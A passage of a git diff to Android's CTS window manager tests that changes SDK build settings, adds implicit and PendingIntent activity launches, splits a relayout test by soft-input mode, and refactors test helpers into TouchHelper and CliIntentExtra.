     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsWindowManagerSdk25TestCases.apk" />
diff --git a/tests/framework/base/windowmanager/testsdk28/Android.bp b/tests/framework/base/windowmanager/testsdk28/Android.bp
index d6d6d0c..5b832b0 100644
--- a/tests/framework/base/windowmanager/testsdk28/Android.bp
+++ b/tests/framework/base/windowmanager/testsdk28/Android.bp
@@ -26,7 +26,9 @@
         ":cts-wm-aspect-ratio-test-base",
     ],
 
-    sdk_version: "28",
+    sdk_version: "30",
+    min_sdk_version: "28",
+    target_sdk_version: "28",
 
     static_libs: [
         "androidx.test.rules",
diff --git a/tests/framework/base/windowmanager/testsdk28/AndroidTest.xml b/tests/framework/base/windowmanager/testsdk28/AndroidTest.xml
index ac3b62b..e315e22 100644
--- a/tests/framework/base/windowmanager/testsdk28/AndroidTest.xml
+++ b/tests/framework/base/windowmanager/testsdk28/AndroidTest.xml
@@ -22,7 +22,6 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsWindowManagerSdk28TestCases.apk" />
diff --git a/tests/framework/base/windowmanager/testsdk29/AndroidTest.xml b/tests/framework/base/windowmanager/testsdk29/AndroidTest.xml
index 6d1f8d8..f2e558a 100644
--- a/tests/framework/base/windowmanager/testsdk29/AndroidTest.xml
+++ b/tests/framework/base/windowmanager/testsdk29/AndroidTest.xml
@@ -22,7 +22,6 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsWindowManagerSdk29TestCases.apk" />
diff --git a/tests/framework/base/windowmanager/testsdk29/src/android/server/wm/ForceRelayoutSdk29Test.java b/tests/framework/base/windowmanager/testsdk29/src/android/server/wm/ForceRelayoutSdk29Test.java
index 1860571..e052651 100644
--- a/tests/framework/base/windowmanager/testsdk29/src/android/server/wm/ForceRelayoutSdk29Test.java
+++ b/tests/framework/base/windowmanager/testsdk29/src/android/server/wm/ForceRelayoutSdk29Test.java
@@ -16,6 +16,10 @@
 
 package android.server.wm;
 
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_ADJUST_NOTHING;
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_ADJUST_PAN;
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_ADJUST_RESIZE;
+
 import android.platform.test.annotations.Presubmit;
 
 import org.junit.Test;
@@ -24,7 +28,20 @@
 public class ForceRelayoutSdk29Test extends ForceRelayoutTestBase {
 
     @Test
-    public void testRelayoutWhenInsetsChange() throws Throwable {
-        testRelayoutWhenInsetsChange(true /* testRelayoutWhenInsetsChange */);
+    public void testNoRelayoutWhenInsetsChange_adjustPan() throws Throwable {
+        testRelayoutWhenInsetsChange(
+                false /* expectRelayoutWhenInsetsChange */, SOFT_INPUT_ADJUST_PAN);
+    }
+
+    @Test
+    public void testNoRelayoutWhenInsetsChange_adjustNothing() throws Throwable {
+        testRelayoutWhenInsetsChange(
+                false /* expectRelayoutWhenInsetsChange */, SOFT_INPUT_ADJUST_NOTHING);
+    }
+
+    @Test
+    public void testRelayoutWhenInsetsChange_adjustResize() throws Throwable {
+        testRelayoutWhenInsetsChange(
+                true /* expectRelayoutWhenInsetsChange */, SOFT_INPUT_ADJUST_RESIZE);
     }
 }
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityLauncher.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityLauncher.java
index 9ad005d..25b5ee8 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityLauncher.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityLauncher.java
@@ -21,9 +21,11 @@
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
 import static android.content.Intent.FLAG_ACTIVITY_REORDER_TO_FRONT;
 import static android.server.wm.app.Components.TEST_ACTIVITY;
+import static android.server.wm.second.Components.IMPLICIT_TARGET_SECOND_TEST_ACTION;
 
 import android.app.ActivityManager;
 import android.app.ActivityOptions;
+import android.app.PendingIntent;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
@@ -38,8 +40,14 @@
 public class ActivityLauncher {
     public static final String TAG = ActivityLauncher.class.getSimpleName();
 
+    /** Key for string extra, indicates the action to apply. */
+    public static final String KEY_ACTION = "intent_action";
     /** Key for boolean extra, indicates whether it should launch an activity. */
     public static final String KEY_LAUNCH_ACTIVITY = "launch_activity";
+    /** Key for boolean extra, indicates whether it should launch implicitly. */
+    public static final String KEY_LAUNCH_IMPLICIT = "launch_implicit";
+    /** Key for boolean extra, indicates whether it should launch fromm pending intent. */
+    public static final String KEY_LAUNCH_PENDING = "launch_pending";
     /**
      * Key for boolean extra, indicates whether it the activity should be launched to side in
      * split-screen.
@@ -103,6 +111,12 @@
      */
     private static final String KEY_CAUGHT_SECURITY_EXCEPTION = "caught_security_exception";
     /**
+     * Key for boolean extra, indicates a pending intent canceled exception is caught when
+     * launching activity by {@link #launchActivityFromExtras}.
+     */
+    private static final String KEY_CAUGHT_PENDING_INTENT_CANCELED_EXCEPTION =
+            "caught_pending_intent_exception";
+    /**
      * Key for int extra with target activity type where activity should be launched as.
      */
     public static final String KEY_ACTIVITY_TYPE = "activity_type";
@@ -133,35 +147,52 @@
         launchActivityFromExtras(context, extras, null /* launchInjector */);
     }
 
+    /**
+     * A convenience method to default to false if the extras are null.
+     *
+     * @param extras {@link Bundle} extras used to launch activity
+     * @param key key to look up in extras
+     * @return the value for the given key in the extra or false if extras is null
+     */
+    private static boolean getBoolean(Bundle extras, String key) {
+        return extras != null && extras.getBoolean(key);
+    }
+
     public static void launchActivityFromExtras(final Context context, Bundle extras,
             LaunchInjector launchInjector) {
-        if (extras == null || !extras.getBoolean(KEY_LAUNCH_ACTIVITY)) {
+        if (!getBoolean(extras, KEY_LAUNCH_ACTIVITY)) {
             return;
         }
-
         Log.i(TAG, "launchActivityFromExtras: extras=" + extras);
 
-        final String targetComponent = extras.getString(KEY_TARGET_COMPONENT);
-        final Intent newIntent = new Intent().setComponent(TextUtils.isEmpty(targetComponent)
-                ? TEST_ACTIVITY : ComponentName.unflattenFromString(targetComponent));
+        final Intent newIntent = new Intent();
 
-        if (extras.getBoolean(KEY_LAUNCH_TO_SIDE)) {
+        if (getBoolean(extras, KEY_LAUNCH_IMPLICIT)) {
+            newIntent.setAction(extras.getString(KEY_ACTION, IMPLICIT_TARGET_SECOND_TEST_ACTION));
+        } else {
+            final String targetComponent = extras.getString(KEY_TARGET_COMPONENT);
+            final ComponentName componentName = TextUtils.isEmpty(targetComponent)
+                    ? TEST_ACTIVITY : ComponentName.unflattenFromString(targetComponent);
+            newIntent.setComponent(componentName);
+        }
+
+        if (getBoolean(extras, KEY_LAUNCH_TO_SIDE)) {
             newIntent.addFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_LAUNCH_ADJACENT);
-            if (extras.getBoolean(KEY_RANDOM_DATA)) {
+            if (getBoolean(extras, KEY_RANDOM_DATA)) {
                 final Uri data = new Uri.Builder()
                         .path(String.valueOf(System.currentTimeMillis()))
                         .build();
                 newIntent.setData(data);
             }
         }
-        if (extras.getBoolean(KEY_MULTIPLE_TASK)) {
+        if (getBoolean(extras, KEY_MULTIPLE_TASK)) {
             newIntent.addFlags(FLAG_ACTIVITY_MULTIPLE_TASK);
         }
-        if (extras.getBoolean(KEY_NEW_TASK)) {
+        if (getBoolean(extras, KEY_NEW_TASK)) {
             newIntent.addFlags(FLAG_ACTIVITY_NEW_TASK);
         }
 
-        if (extras.getBoolean(KEY_REORDER_TO_FRONT)) {
+        if (getBoolean(extras, KEY_REORDER_TO_FRONT)) {
             newIntent.addFlags(FLAG_ACTIVITY_REORDER_TO_FRONT);
         }
 
@@ -205,13 +236,21 @@
         }
         final Bundle optionsBundle = options != null ? options.toBundle() : null;
 
-        final Context launchContext = extras.getBoolean(KEY_USE_APPLICATION_CONTEXT) ?
+        final Context launchContext = getBoolean(extras, KEY_USE_APPLICATION_CONTEXT) ?
                 context.getApplicationContext() : context;
 
         try {
-            launchContext.startActivity(newIntent, optionsBundle);
+            if (getBoolean(extras, KEY_LAUNCH_PENDING)) {
+                PendingIntent pendingIntent = PendingIntent.getActivity(launchContext,
+                        0, newIntent, PendingIntent.FLAG_IMMUTABLE);
+                pendingIntent.send();
+            } else {
+                launchContext.startActivity(newIntent, optionsBundle);
+            }
         } catch (SecurityException e) {
             handleSecurityException(context, e);
+        } catch (PendingIntent.CanceledException e) {
+            handlePendingIntentCanceled(context, e);
         } catch (Exception e) {
             if (extras.getBoolean(KEY_SUPPRESS_EXCEPTIONS)) {
                 Log.e(TAG, "Exception launching activity");
@@ -240,6 +279,13 @@
         });
     }
 
+    public static void handlePendingIntentCanceled(Context context, Exception e) {
+        Log.e(TAG, "PendingIntent.CanceledException launching activity: " + e);
+        TestJournalProvider.putExtras(context, TAG, bundle -> {
+            bundle.putBoolean(KEY_CAUGHT_PENDING_INTENT_CANCELED_EXCEPTION, true);
+        });
+    }
+
     static boolean hasCaughtSecurityException() {
         return TestJournalContainer.get(TAG).extras.containsKey(KEY_CAUGHT_SECURITY_EXCEPTION);
     }
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
index 9e11ebb..e2e07ec 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
@@ -16,7 +16,6 @@
 
 package android.server.wm;
 
-import static android.app.ActivityTaskManager.SPLIT_SCREEN_CREATE_MODE_TOP_OR_LEFT;
 import static android.app.AppOpsManager.MODE_ALLOWED;
 import static android.app.AppOpsManager.OPSTR_SYSTEM_ALERT_WINDOW;
 import static android.app.Instrumentation.ActivityMonitor;
@@ -24,8 +23,6 @@
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_RECENTS;
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_UNDEFINED;
-import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
-import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
 import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
 import static android.content.Intent.ACTION_MAIN;
 import static android.content.Intent.CATEGORY_HOME;
@@ -69,7 +66,6 @@
 import static android.server.wm.ComponentNameUtils.getLogTag;
 import static android.server.wm.StateLogger.log;
 import static android.server.wm.StateLogger.logE;
-import static android.server.wm.UiDeviceUtils.pressAppSwitchButton;
 import static android.server.wm.UiDeviceUtils.pressBackButton;
 import static android.server.wm.UiDeviceUtils.pressEnterButton;
 import static android.server.wm.UiDeviceUtils.pressHomeButton;
@@ -99,6 +95,7 @@
 import static android.view.Display.DEFAULT_DISPLAY;
 import static android.view.Display.INVALID_DISPLAY;
 import static android.view.Surface.ROTATION_0;
+import static android.view.WindowManager.LayoutParams.TYPE_BASE_APPLICATION;
 
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
@@ -116,6 +113,7 @@
 import android.app.ActivityOptions;
 import android.app.ActivityTaskManager;
 import android.app.Instrumentation;
+import android.app.KeyguardManager;
 import android.content.ComponentName;
 import android.content.ContentResolver;
 import android.content.Context;
@@ -132,6 +130,7 @@
 import android.os.Handler;
 import android.os.HandlerThread;
 import android.os.SystemClock;
+import android.os.SystemProperties;
 import android.provider.Settings;
 import android.server.wm.CommandSession.ActivityCallback;
 import android.server.wm.CommandSession.ActivitySession;
@@ -141,15 +140,14 @@
 import android.server.wm.CommandSession.LaunchProxy;
 import android.server.wm.CommandSession.SizeInfo;
 import android.server.wm.TestJournalProvider.TestJournalContainer;
+import android.server.wm.WindowManagerState.WindowState;
 import android.server.wm.settings.SettingsSession;
 import android.util.DisplayMetrics;
 import android.util.EventLog;
 import android.util.EventLog.Event;
 import android.view.Display;
-import android.view.InputDevice;
-import android.view.KeyEvent;
-import android.view.MotionEvent;
-import android.view.ViewConfiguration;
+import android.view.View;
+import android.view.WindowManager;
 
 import androidx.annotation.NonNull;
 import androidx.annotation.Nullable;
@@ -173,6 +171,7 @@
 import java.util.Iterator;
 import java.util.List;
 import java.util.Map;
+import java.util.Objects;
 import java.util.UUID;
 import java.util.concurrent.atomic.AtomicBoolean;
 import java.util.function.BooleanSupplier;
@@ -213,7 +212,10 @@
     protected static final String MSG_NO_MOCK_IME =
             "MockIme cannot be used for devices that do not support installable IMEs";
 
-    private static final String LOCK_CREDENTIAL = "1234";
+    private static final String AM_BROADCAST_CLOSE_SYSTEM_DIALOGS =
+            "am broadcast -a android.intent.action.CLOSE_SYSTEM_DIALOGS";
+
+    protected static final String LOCK_CREDENTIAL = "1234";
 
     private static final int UI_MODE_TYPE_MASK = 0x0f;
     private static final int UI_MODE_TYPE_VR_HEADSET = 0x07;
@@ -222,7 +224,7 @@
     private static Boolean sSupportsSystemDecorsOnSecondaryDisplays = null;
     private static Boolean sSupportsInsecureLockScreen = null;
     private static Boolean sIsAssistantOnTop = null;
-    private static boolean sStackTaskLeakFound;
+    private static boolean sIllegalTaskStateFound;
 
     protected static final int INVALID_DEVICE_ROTATION = -1;
 
@@ -231,6 +233,7 @@
     protected final ActivityManager mAm = mContext.getSystemService(ActivityManager.class);
     protected final ActivityTaskManager mAtm = mContext.getSystemService(ActivityTaskManager.class);
     protected final DisplayManager mDm = mContext.getSystemService(DisplayManager.class);
+    protected final WindowManager mWm = mContext.getSystemService(WindowManager.class);
 
     /** The tracker to manage objects (especially {@link AutoCloseable}) in a test method. */
     protected final ObjectTracker mObjectTracker = new ObjectTracker();
@@ -245,44 +248,36 @@
 
     /**
      * @return the am command to start the given activity with the following extra key/value pairs.
-     * {@param keyValuePairs} must be a list of arguments defining each key/value extra.
+     * {@param extras} a list of {@link CliIntentExtra} representing a generic intent extra
      */
     // TODO: Make this more generic, for instance accepting flags or extras of other types.
     protected static String getAmStartCmd(final ComponentName activityName,
-            final String... keyValuePairs) {
-        return getAmStartCmdInternal(getActivityName(activityName), keyValuePairs);
+            final CliIntentExtra... extras) {
+        return getAmStartCmdInternal(getActivityName(activityName), extras);
     }
 
     private static String getAmStartCmdInternal(final String activityName,
-            final String... keyValuePairs) {
+            final CliIntentExtra... extras) {
         return appendKeyValuePairs(
                 new StringBuilder("am start -n ").append(activityName),
-                keyValuePairs);
+                extras);
     }
 
     private static String appendKeyValuePairs(
-            final StringBuilder cmd, final String... keyValuePairs) {
-        if (keyValuePairs.length % 2 != 0) {
-            throw new RuntimeException("keyValuePairs must be pairs of key/value arguments");
-        }
-        for (int i = 0; i < keyValuePairs.length; i += 2) {
-            final String key = keyValuePairs[i];
-            final String value = keyValuePairs[i + 1];
-            cmd.append(" --es ")
-                    .append(key)
-                    .append(" ")
-                    .append(value);
+            final StringBuilder cmd, final CliIntentExtra... extras) {
+        for (int i = 0; i < extras.length; i++) {
+            extras[i].appendTo(cmd);
         }
         return cmd.toString();
     }
 
     protected static String getAmStartCmd(final ComponentName activityName, final int displayId,
-            final String... keyValuePair) {
-        return getAmStartCmdInternal(getActivityName(activityName), displayId, keyValuePair);
+            final CliIntentExtra... extras) {
+        return getAmStartCmdInternal(getActivityName(activityName), displayId, extras);
     }
 
     private static String getAmStartCmdInternal(final String activityName, final int displayId,
-            final String... keyValuePairs) {
+            final CliIntentExtra... extras) {
         return appendKeyValuePairs(
                 new StringBuilder("am start -n ")
                         .append(activityName)
@@ -290,22 +285,25 @@
                         .append(toHexString(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK))
                         .append(" --display ")
                         .append(displayId),
-                keyValuePairs);
+                extras);
     }
 
     protected static String getAmStartCmdInNewTask(final ComponentName activityName) {
         return "am start -n " + getActivityName(activityName) + " -f 0x18000000";
     }
 
+    protected static String getAmStartCmdWithData(final ComponentName activityName, String data) {
+        return "am start -n " + getActivityName(activityName) + " -d " + data;
+    }
+
     protected static String getAmStartCmdOverHome(final ComponentName activityName) {
         return "am start --activity-task-on-home -n " + getActivityName(activityName);
     }
 
     protected WindowManagerStateHelper mWmState = new WindowManagerStateHelper();
-    TestTaskOrganizer mTaskOrganizer = new TestTaskOrganizer();
-    // If the specific test should run using the task organizer or older API.
-    // TODO(b/149338177): Fix all places setting this to fail to be able to use organizer API.
-    public boolean mUseTaskOrganizer = true;
+    protected TouchHelper mTouchHelper = new TouchHelper(mInstrumentation, mWmState);
+    // Initialized in setUp to execute with proper permission, such as MANAGE_ACTIVITY_TASKS
+    public TestTaskOrganizer mTaskOrganizer;
 
     public WindowManagerStateHelper getWmState() {
         return mWmState;
@@ -313,6 +311,10 @@
 
     protected BroadcastActionTrigger mBroadcastActionTrigger = new BroadcastActionTrigger();
 
+    /** Runs a runnable with shell permissions. These can be nested. */
+    protected void runWithShellPermission(Runnable runnable) {
+        NestedShellPermission.run(runnable);
+    }
     /**
      * Returns true if the activity is shown before timeout.
      */
@@ -377,6 +379,10 @@
                     .putExtra(EXTRA_DISMISS_KEYGUARD_METHOD, true));
         }
 
+        void expandPip() {
+            mContext.sendBroadcast(createIntentWithAction(ACTION_EXPAND_PIP));
+        }
+
         void expandPipWithAspectRatio(String extraNum, String extraDenom) {
             mContext.sendBroadcast(createIntentWithAction(ACTION_EXPAND_PIP)
                     .putExtra(EXTRA_SET_ASPECT_RATIO_WITH_DELAY_NUMERATOR, extraNum)
@@ -423,7 +429,7 @@
         }
 
         /**
-         * Launches an {@link Activity} synchronously on a target display. The class name needs to 
+         * Launches an {@link Activity} synchronously on a target display. The class name needs to
          * be provided either implicitly through the {@link Intent} or explicitly as a parameter
          *
          * @param className Optional class name of expected activity
@@ -446,7 +452,7 @@
          */
         void launchTestActivityOnDisplaySync(
                 @Nullable String className, Intent intent, int displayId, int windowingMode) {
-            SystemUtil.runWithShellPermissionIdentity(
+            runWithShellPermission(
                     () -> {
                         mTestActivity =
                                 launchActivityOnDisplay(
@@ -467,7 +473,7 @@
             final Intent intent = new Intent(mContext, activityClass)
                     .addFlags(FLAG_ACTIVITY_NEW_TASK);
             final String className = intent.getComponent().getClassName();
-            SystemUtil.runWithShellPermissionIdentity(
+            runWithShellPermission(
                     () -> {
                         mTestActivity =
                                 launchActivityOnDisplay(
@@ -553,23 +559,29 @@
         pressWakeupButton();
         pressUnlockButton();
         launchHomeActivityNoWait();
-        removeStacksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
+        removeRootTasksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
 
-        // Clear launch params for all test packages to make sure each test is run in a clean state.
-        SystemUtil.runWithShellPermissionIdentity(
-                () -> mAtm.clearLaunchParamsForPackages(TEST_PACKAGES));
+        runWithShellPermission(() -> {
+            // TaskOrganizer ctor requires MANAGE_ACTIVITY_TASKS permission
+            mTaskOrganizer = new TestTaskOrganizer(mContext);
+            // Clear launch params for all test packages to make sure each test is run in a clean
+            // state.
+            mAtm.clearLaunchParamsForPackages(TEST_PACKAGES);
+        });
     }
 
     /** It always executes after {@link org.junit.After}. */
     private void tearDownBase() {
         mObjectTracker.tearDown(mPostAssertionRule::addError);
 
-        SystemUtil.runWithShellPermissionIdentity(
-                () -> mTaskOrganizer.unregisterOrganizerIfNeeded());
-        // Synchronous execution of removeStacksWithActivityTypes() ensures that all activities but
-        // home are cleaned up from the stack at the end of each test. Am force stop shell commands
-        // might be asynchronous and could interrupt the stack cleanup process if executed first.
-        removeStacksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
+        if (mTaskOrganizer != null) {
+            mTaskOrganizer.unregisterOrganizerIfNeeded();
+        }
+        // Synchronous execution of removeRootTasksWithActivityTypes() ensures that all
+        // activities but home are cleaned up from the root task at the end of each test. Am force
+        // stop shell commands might be asynchronous and could interrupt the task cleanup
+        // process if executed first.
+        removeRootTasksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
         stopTestPackage(TEST_PACKAGE);
         stopTestPackage(SECOND_TEST_PACKAGE);
         stopTestPackage(THIRD_TEST_PACKAGE);
@@ -585,12 +597,6 @@
         SystemUtil.runWithShellPermissionIdentity(ActivityManager::resumeAppSwitches);
     }
 
-    protected void moveTopActivityToPinnedStack(int stackId) {
-        SystemUtil.runWithShellPermissionIdentity(
-                () -> mAtm.moveTopActivityToPinnedStack(stackId, new Rect(0, 0, 500, 500))
-        );
-    }
-
     protected void startActivityOnDisplay(int displayId, ComponentName component) {
         final ActivityOptions options = ActivityOptions.makeBasic();
         options.setLaunchDisplayId(displayId);
@@ -644,105 +650,53 @@
      * @param displayId the display ID to gain focused by inject swipe action
      */
     protected void touchAndCancelOnDisplayCenterSync(int displayId) {
-        WindowManagerState.DisplayContent dc = mWmState.getDisplay(displayId);
-        if (dc == null) {
-            // never get wm state before?
-            mWmState.computeState();
-            dc = mWmState.getDisplay(displayId);
-        }
-        if (dc == null) {
-            log("Cannot tap on display: " + displayId);
-            return;
-        }
-        final Rect bounds = dc.getDisplayRect();
-        final int x = bounds.left + bounds.width() / 2;
-        final int y = bounds.top + bounds.height() / 2;
-        final long downTime = SystemClock.uptimeMillis();
-        injectMotion(downTime, downTime, MotionEvent.ACTION_DOWN, x, y, displayId, true /* sync */);
-
-        final long eventTime = SystemClock.uptimeMillis();
-        final int touchSlop = ViewConfiguration.get(mContext).getScaledTouchSlop();
-        final int tapX = x + Math.round(touchSlop / 2.0f);
-        final int tapY = y + Math.round(touchSlop / 2.0f);
-        injectMotion(downTime, eventTime, MotionEvent.ACTION_CANCEL, tapX, tapY, displayId,
-                true /* sync */);
+        mTouchHelper.touchAndCancelOnDisplayCenterSync(displayId);
     }
 
     protected void tapOnDisplaySync(int x, int y, int displayId) {
-        tapOnDisplay(x, y, displayId, true /* sync*/);
+        mTouchHelper.tapOnDisplaySync(x, y, displayId);
     }
 
     private void tapOnDisplay(int x, int y, int displayId, boolean sync) {
-        final long downTime = SystemClock.uptimeMillis();
-        injectMotion(downTime, downTime, MotionEvent.ACTION_DOWN, x, y, displayId, sync);
-
-        final long upTime = SystemClock.uptimeMillis();
-        injectMotion(downTime, upTime, MotionEvent.ACTION_UP, x, y, displayId, sync);
-
-        mWmState.waitForWithAmState(state -> state.getFocusedDisplayId() == displayId,
-                "top focused displayId: " + displayId);
-        // This is needed after a tap in multi-display to ensure that the display focus has really
-        // changed, if needed. The call to syncInputTransaction will wait until focus change has
-        // propagated from WMS to native input before returning.
-        mInstrumentation.getUiAutomation().syncInputTransactions();
+        mTouchHelper.tapOnDisplay(x, y, displayId, sync);
     }
 
     protected void tapOnCenter(Rect bounds, int displayId) {
-        final int tapX = bounds.left + bounds.width() / 2;
-        final int tapY = bounds.top + bounds.height() / 2;
-        tapOnDisplaySync(tapX, tapY, displayId);
+        mTouchHelper.tapOnCenter(bounds, displayId);
+    }
+
+    protected void tapOnViewCenter(View view) {
+        mTouchHelper.tapOnViewCenter(view);
     }
 
     protected void tapOnStackCenter(WindowManagerState.ActivityTask stack) {
-        tapOnCenter(stack.getBounds(), stack.mDisplayId);
+        mTouchHelper.tapOnStackCenter(stack);
     }
 
     protected void tapOnDisplayCenter(int displayId) {
-        final Rect bounds = mWmState.getDisplay(displayId).getDisplayRect();
-        tapOnDisplaySync(bounds.centerX(), bounds.centerY(), displayId);
+        mTouchHelper.tapOnDisplayCenter(displayId);
     }
 
     protected void tapOnDisplayCenterAsync(int displayId) {
-        final Rect bounds = mWmState.getDisplay(displayId).getDisplayRect();
-        tapOnDisplay(bounds.centerX(), bounds.centerY(), displayId, false /* sync */);
-    }
-
-    private static void injectMotion(long downTime, long eventTime, int action,
-            int x, int y, int displayId, boolean sync) {
-        final MotionEvent event = MotionEvent.obtain(downTime, eventTime, action,
-                x, y, 0 /* metaState */);
-        event.setSource(InputDevice.SOURCE_TOUCHSCREEN);
-        event.setDisplayId(displayId);
-        getInstrumentation().getUiAutomation().injectInputEvent(event, sync);
+        mTouchHelper.tapOnDisplayCenterAsync(displayId);
     }
 
     public static void injectKey(int keyCode, boolean longPress, boolean sync) {
-        final long downTime = SystemClock.uptimeMillis();
-        int repeatCount = 0;
-        KeyEvent downEvent =
-                new KeyEvent(downTime, downTime, KeyEvent.ACTION_DOWN, keyCode, repeatCount);
-        getInstrumentation().getUiAutomation().injectInputEvent(downEvent, sync);
-        if (longPress) {
-            repeatCount += 1;
-            KeyEvent repeatEvent = new KeyEvent(downTime, SystemClock.uptimeMillis(),
-                    KeyEvent.ACTION_DOWN, keyCode, repeatCount);
-            getInstrumentation().getUiAutomation().injectInputEvent(repeatEvent, sync);
-        }
-        KeyEvent upEvent = new KeyEvent(downTime, SystemClock.uptimeMillis(),
-                KeyEvent.ACTION_UP, keyCode, 0 /* repeatCount */);
-        getInstrumentation().getUiAutomation().injectInputEvent(upEvent, sync);
+        TouchHelper.injectKey(keyCode, longPress, sync);
     }
 
-    protected void removeStacksWithActivityTypes(int... activityTypes) {
-        SystemUtil.runWithShellPermissionIdentity(
-                () -> mAtm.removeStacksWithActivityTypes(activityTypes));
+    protected void removeRootTasksWithActivityTypes(int... activityTypes) {
+        runWithShellPermission(() -> mAtm.removeRootTasksWithActivityTypes(activityTypes));
         waitForIdle();
     }
 
-    protected void removeStacksInWindowingModes(int... windowingModes) {
-        SystemUtil.runWithShellPermissionIdentity(
-                () -> mAtm.removeStacksInWindowingModes(windowingModes)
-        );
+    protected void removeRootTasksInWindowingModes(int... windowingModes) {
+        runWithShellPermission(() -> mAtm.removeRootTasksInWindowingModes(windowingModes));
+        waitForIdle();
+    }
+
+    protected void removeRootTask(int taskId) {
+        runWithShellPermission(() -> mAtm.removeTask(taskId));
         waitForIdle();
     }
 
@@ -761,14 +715,15 @@
         return mInstrumentation.getUiAutomation().takeScreenshot();
     }
 
-    protected void launchActivity(final ComponentName activityName, final String... keyValuePairs) {
-        launchActivityNoWait(activityName, keyValuePairs);
+    protected void launchActivity(final ComponentName activityName,
+            final CliIntentExtra... extras) {
+        launchActivityNoWait(activityName, extras);
         mWmState.waitForValidState(activityName);
     }
 
     protected void launchActivityNoWait(final ComponentName activityName,
-            final String... keyValuePairs) {
-        executeShellCommand(getAmStartCmd(activityName, keyValuePairs));
+            final CliIntentExtra... extras) {
+        executeShellCommand(getAmStartCmd(activityName, extras));
     }
 
     protected void launchActivityInNewTask(final ComponentName activityName) {
@@ -776,6 +731,11 @@
         mWmState.waitForValidState(activityName);
     }
 
+    protected void launchActivityWithData(final ComponentName activityName, String data) {
+        executeShellCommand(getAmStartCmdWithData(activityName, data));
+        mWmState.waitForValidState(activityName);
+    }
+
     protected static void waitForIdle() {
         getInstrumentation().waitForIdleSync();
     }
@@ -819,6 +779,8 @@
      * (which will trigger stop-app-switches), it is the recommended method to go home.
      */
     protected static void launchHomeActivityNoWait() {
+        // dismiss all system dialogs before launch home.
+        executeShellCommand(AM_BROADCAST_CLOSE_SYSTEM_DIALOGS);
         executeShellCommand(AM_START_HOME_ACTIVITY_COMMAND);
     }
 
@@ -828,18 +790,23 @@
         mWmState.waitForHomeActivityVisible();
     }
 
-    protected void launchActivity(ComponentName activityName, int windowingMode,
-            final String... keyValuePairs) {
-        executeShellCommand(getAmStartCmd(activityName, keyValuePairs)
+    protected void launchActivityNoWait(ComponentName activityName, int windowingMode,
+            final CliIntentExtra... extras) {
+        executeShellCommand(getAmStartCmd(activityName, extras)
                 + " --windowingMode " + windowingMode);
+    }
+
+    protected void launchActivity(ComponentName activityName, int windowingMode,
+            final CliIntentExtra... keyValuePairs) {
+        launchActivityNoWait(activityName, windowingMode, keyValuePairs);
         mWmState.waitForValidState(new WaitForValidActivityState.Builder(activityName)
                 .setWindowingMode(windowingMode)
                 .build());
     }
 
     protected void launchActivityOnDisplay(ComponentName activityName, int windowingMode,
-            int displayId, final String... keyValuePairs) {
-        executeShellCommand(getAmStartCmd(activityName, displayId, keyValuePairs)
+            int displayId, final CliIntentExtra... extras) {
+        executeShellCommand(getAmStartCmd(activityName, displayId, extras)
                 + " --windowingMode " + windowingMode);
         mWmState.waitForValidState(new WaitForValidActivityState.Builder(activityName)
                 .setWindowingMode(windowingMode)
@@ -847,94 +814,44 @@
     }
 
     protected void launchActivityOnDisplay(ComponentName activityName, int displayId,
-            String... keyValuePairs) {
-        launchActivityOnDisplayNoWait(activityName, displayId, keyValuePairs);
+            CliIntentExtra... extras) {
+        launchActivityOnDisplayNoWait(activityName, displayId, extras);
         mWmState.waitForValidState(activityName);
     }
 
     protected void launchActivityOnDisplayNoWait(ComponentName activityName, int displayId,
-            String... keyValuePairs) {
-        executeShellCommand(getAmStartCmd(activityName, displayId, keyValuePairs));
+            CliIntentExtra... extras) {
+        executeShellCommand(getAmStartCmd(activityName, displayId, extras));
     }
 
-    /**
-     * Launches {@param activityName} into split-screen primary windowing mode and also makes
-     * the recents activity visible to the side of it.
